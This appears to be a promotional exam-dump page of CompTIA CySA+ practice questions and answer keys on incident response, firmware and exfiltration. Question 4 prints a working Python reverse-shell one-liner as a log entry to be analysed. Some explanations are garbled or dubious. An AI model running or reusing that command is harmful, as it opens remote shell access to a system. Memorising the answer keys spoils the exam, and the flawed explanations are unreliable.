CS0-003 Q&As

CompTIA Cybersecurity Analyst (CySA+)

Pass CompTIA CS0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass4itsure.com/cs0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

An organization recently changed its BC and DR plans. Which of the following would best allow for the incident response team to test the changes without any impact to the business?

A. Perform a tabletop drill based on previously identified incident scenarios.

B. Simulate an incident by shutting down power to the primary data center.

C. Migrate active workloads from the primary data center to the secondary location.

D. Compare the current plan to lessons learned from previous incidents.

Correct Answer: A

performing a tabletop drill based on previously identified incident scenarios, is the best choice to test the changes in the BC (Business Continuity) and DR (Disaster Recovery) plans without impacting the business.

A tabletop drill involves gathering key stakeholders and walking through various hypothetical scenarios and how they would be handled based on the updated plans.This approach ensures that the organization can test its preparedness without causing any actual disruption or risk to business operations.

Reference: https://www.alertmedia.com/blog/tabletop-exercises/

QUESTION 2

A company creates digitally signed packages for its devices. Which of the following best describes the method by which the security packages are delivered to the company\\'s customers?

A. Antitamper mechanism

B. SELinux

C. Trusted firmware updates

D. eFuse

Correct Answer: C

Trusted firmware updates are a method by which security package" customers. Trusted firmware updates are digitally signed packages that contain software updates or patches for devices, such as routers, switches, or firewalls. Trusted firmware updates can help to ensure the authenticity and integrity of the packages by verifying the digital signature of the sender and preventing unauthorized or malicious modifications to the packages .
https://www.cisco.com/c/en/us/td/docs/ ios-xml/ios/sec_usr_trustsec/configuration/xe-16/sec-usr-trustsec-xe-16-book/sec-trust-firm-upd.html

QUESTION 3

A security analyst discovers a standard user has unauthorized access to the command prompt, PowerShell, and other system utilities. Which of the following is the BEST action for the security analyst to take?

A. Disable the appropriate settings in the administrative template of the Group Policy.

B. Use AppLocker to create a set of whitelist and blacklist rules specific to group membership.

C. Modify the registry keys that correlate with the access settings for the System32 directory.

D. Remove the user\\'s permissions from the various system executables.

Correct Answer: A

QUESTION 4

A security analyst found the following entry in a server log:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM);s.connect(("167772161",1234));os.dup2(s.fileno (),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

The analyst executed netstat and received the following output:

	Proto	Local address	Foreign address	State
1	tcp	192.168.1.1:80	*	LISTENING
2	tcp	192.168.1.1:1234	*	LISTENING
3	tcp	192.168.1.1:80	10.0.0.1:53264	ESTABLISHED
4	tcp	192.168.1.1:32347	10.0.0.2:80	ESTABLISHED
5	tcp	192.168.1.1:34751	10.0.0.1:1234	ESTABLISHED
6	tcp	192.168.1.1:80	192.168.1.15:12974	ESTABLISHED
7	tcp	192.168.1.1:38772	192.168.1.1:80	ESTABLISHED

Which of the following lines in the output confirms this was successfully executed by the server?

A. 1

B. 2

C. 3

D. 4

E. 5

F. 6

G. 7

Correct Answer: E

QUESTION 5

After completing a review of network activity, the threat hunting team discovers a device on the network that sends an outbound email via a mail client to a non-company email address daily at 10:00 p.m. Which of the following is potentially occurring?

A. Irregular peer-to-peer communication

B. Rogue device on the network

C. Abnormal OS process behavior

D. Data exfiltration

Correct Answer: D

Data exfiltration is the theft or unauthorized transfer or movement of data from a device or network. It can occur as part of an automated attack or manually, on-site or through an internet connection, and involve various methods. It can affect

personal or corporate data, such as sensitive or confidential information. Data exfiltration can be prevented or detected by using compression, encryption, authentication, authorization, and other controls

The network activity shows that a device on the network is sending an outbound email via a mail client to a non-company email address daily at 10:00 p.m. This could indicate that the device is compromised by malware or an insider threat,

and that the email is used to exfiltrate data from the network to an external party.

The email could contain attachments, links, or hidden data that contain the stolen information. The timing of the email could be designed to avoid detection by normal network monitoring or security systems.